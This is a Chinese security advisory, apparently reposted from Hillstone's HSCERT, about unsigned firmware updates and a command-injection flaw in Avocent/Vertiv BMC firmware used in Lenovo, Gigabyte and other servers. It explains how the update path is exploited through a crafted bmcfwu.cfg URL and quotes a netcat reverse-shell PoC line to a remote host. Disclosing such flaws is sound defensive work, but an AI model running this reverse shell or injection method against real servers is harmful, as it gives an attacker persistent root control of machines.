当前位置:   article > 正文

修改jar 注入_漏洞预警|服务器供应链BMC固件中存在命令注入高危漏洞

jar包会产生的服务器高危漏洞

a2d4f7e14bf5ca511226545abe6bfa5b.png

漏洞描述

近日,山石网科安全应急响应中心(HSCERT)监测发现,Eclypsium研究人员在检查Lenovo ThinkServer RD340时,发现了基板管理控制器(BMC)固件中的两个严重漏洞。该设备是2014年发布的双插槽1U Ivy Bridge生成服务器,其BMC是ASPEED AST2300。

进一步的研究发现,漏洞固件来自Avocent(现为Vertiv)制造的名为MergePoint EMS的第三方产品。还有很多其他产品也使用了相同的漏洞固件,包括大部分技嘉的企业服务器系列。

除了生产自己的主板和服务器之外,技嘉还为小型系统集成商提供主板,这种漏洞固件包含在很多供应商的服务器中,包括:

  • 宏碁

  • AMAX

  • Bigtera

  • 席亚拉

  • 企鹅计算

  • SYSGEN

所以此次固件漏洞波及面很广,大多数硬件供应商不会编写自己的固件,而是依赖其供应链合作伙伴。固件通常由第三方许可,只需稍加修改即可使用,这样漏洞也会波及到许多不同的品牌和产品。

BMC固件漏洞的范围并不仅限于少数几家供应商,研究发现惠普和戴尔都发现有严重的固件BMC漏洞。

漏洞分析

在分析过程中发现了BMC固件中的两个漏洞:

  1. MergePoint EMS的BMC固件更新过程在接受更新并将内容写入SPI闪存之前不会执行加密签名验证。

  2. 执行固件更新过程的BMC中的代码本身包含命令注入漏洞。

这两个漏洞都允许攻击者在主机上以管理权限运行,在BMC中以root身份运行任意代码,并对BMC的SPI闪存内容进行永久性修改。攻击者可以使用对BMC固件的恶意修改来保持对系统的长期维持访问,来避免常见的事件响应,例如重新安装操作系统。

此外,攻击可以修改BMC内的环境,以防止通过软件机制进行任何进一步的固件更新,从而使攻击者能够通过软件方式阻止永久禁用BMC。在这两种情况下,修复系统的唯一选择是使用Dediprog或其他SPI闪存编程器等工具对SPI芯片进行重新闪存写入。

此外,由于可以通过BMC LAN接口执行IPMI通信,因此如果攻击者能够捕获BMC的管理密码,则可以远程利用此更新机制。

联想已在ThinkServer RD340中确认了这个漏洞,并在发布了针对命令注入漏洞的建议和修复:

https://support.lenovo.com/us/en/solutions/LEN-23836

Gigabyte发布了固件的更新版本,以修复使用AST2500的系统的命令注入漏洞,但尚未发布此漏洞的安全建议。截至2019年6月21日,AST2400固件版本仍未修补。

不安全固件更新漏洞分析

由Avocent / Vertiv制作的MergePoint EMS的BMC固件更新过程在接受更新并将内容写入SPI闪存之前不会以加密方式验证签名。

更新过程会计算uBoot标头和数据区域的CRC32校验和,但是,校验和不是一种安全机制,只能防止意外损坏,在修改BMC固件映像以包含恶意软件后,攻击者可以轻松地重新计算这些校验和。

因此,可以修改固件映像以对BMC代码进行任意修改,并在这些高权限管理控制器中运行恶意软件。

固件命令注入漏洞分析

除了缺乏加密安全的BMC固件更新外,还在BMC固件中发现了命令注入漏洞。

BMC包含配置http,ftp或tftp URI以从IPMI下载固件更新映像并通过IPMI触发此更新的功能。这是通过发送IPMI命令来配置包括URI的网络参数,然后发送另外的IPMI命令来检索文件来触发的。

但是,尝试检索文件的函数使用snprintf()不安全地使用攻击者提供的数据构建命令字符串。然后使用popen()执行此命令字符串,使用/ bin / sh来解析命令行。尝试过滤掉某些字符,但如果过滤不充分,此功能很容易受到命令注入的影响。

构建和执行这样的命令是不安全的,并且将导致命令行劫持到shell。更安全的选择是使用带有显式参数的fork()和execve()来避免不受信任的源提供的字符串的shell扩展。

利用Avocent / Vertiv提供的官方更新实用程序,可以利用此漏洞在BMC中获取完整的任意代码执行。

这是通过将bmcfwu.cfg中的RemoteFirmwareImageFilePath设置更改为指向攻击者控制的文件并附加包含某些shell元字符的字符串的URL来实现的。触发远程更新时,BMC将下载文件并将其内容作为shell脚本执行。

下面的PoC文件包含“nc 172.16.0.2 4321 -e / bin / sh”,这将导致与远程服务器的端口4321的进行TCP连接,其中shell是以root权限运行的:

d49724e8a46aa29ec283b513928108ef.png

由于此文件已使用/ bin / wget下载并使用shell执行,因此它可以包含比仅运行单个命令以触发连接shell更复杂的功能。实际上,脚本本身可以使用/ bin / wget下载其他可执行文件以在BMC内运行。

通过利用此漏洞,可以在BMC中运行任意恶意软件,在BMC内运行的任意代码可以在正常更新过程之外对存储在SPI闪存中的BMC固件执行恶意修改,以便维持系统中的持久性并在操作系统重新安装后继续运行。

这两个问题都允许攻击者以root身份在BMC中运行任意代码,任何可以向BMC发送IPMI命令的人都可以利用这个漏洞。

控制BMC更新过程的代码包含在BMC本身中。这意味着攻击者不仅可以安装恶意BMC固件,还可以阻止合法所有者对BMC固件的任何进一步更新。此级别的控制可能允许攻击者永久禁用系统,此类攻击的唯一可靠修复方法是物理刷新SPI芯片。

漏洞危害

高危

影响版本

影响厂商列表:

联想,技嘉,Gigabyte,戴尔,惠普

漏洞固件包含在很多供应商的服务器中,包括:

  • 宏碁

  • AMAX

  • Bigtera

  • 席亚拉

  • 企鹅计算

  • SYSGEN

安全建议

Lenovo已发布固件更新,以缓解受影响平台的命令注入漏洞。

https://support.lenovo.com/us/en/solutions/LEN-23836

Gigabyte为基于AST2500的平台发布了新版本的固件,以消除命令注入漏洞。

除供应商提供的更新外,公司应该主动用工具分析保持固件的完整性,并识别其固件中的漏洞,防止任何植入代码。

参考信息

Lenovo Command Injection Vulnerability Advisory https://support.lenovo.com/us/en/solutions/LEN-23836

NIST平台固件弹性指南:

https://doi.org/10.6028/NIST.SP.800-193

SEI CERT C编码标准:

https://resources.sei.cmu.edu/downloads/secure-coding/assets/sei-cert-c-coding-standard-2016-v01.pdf

4ce74ed1464e6136d31333aa875a6e3d.png

如需帮助请咨询 hscert@hillstonenet.com

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/Cpp五条/article/detail/502772
推荐阅读
相关标签
  

闽ICP备14008679号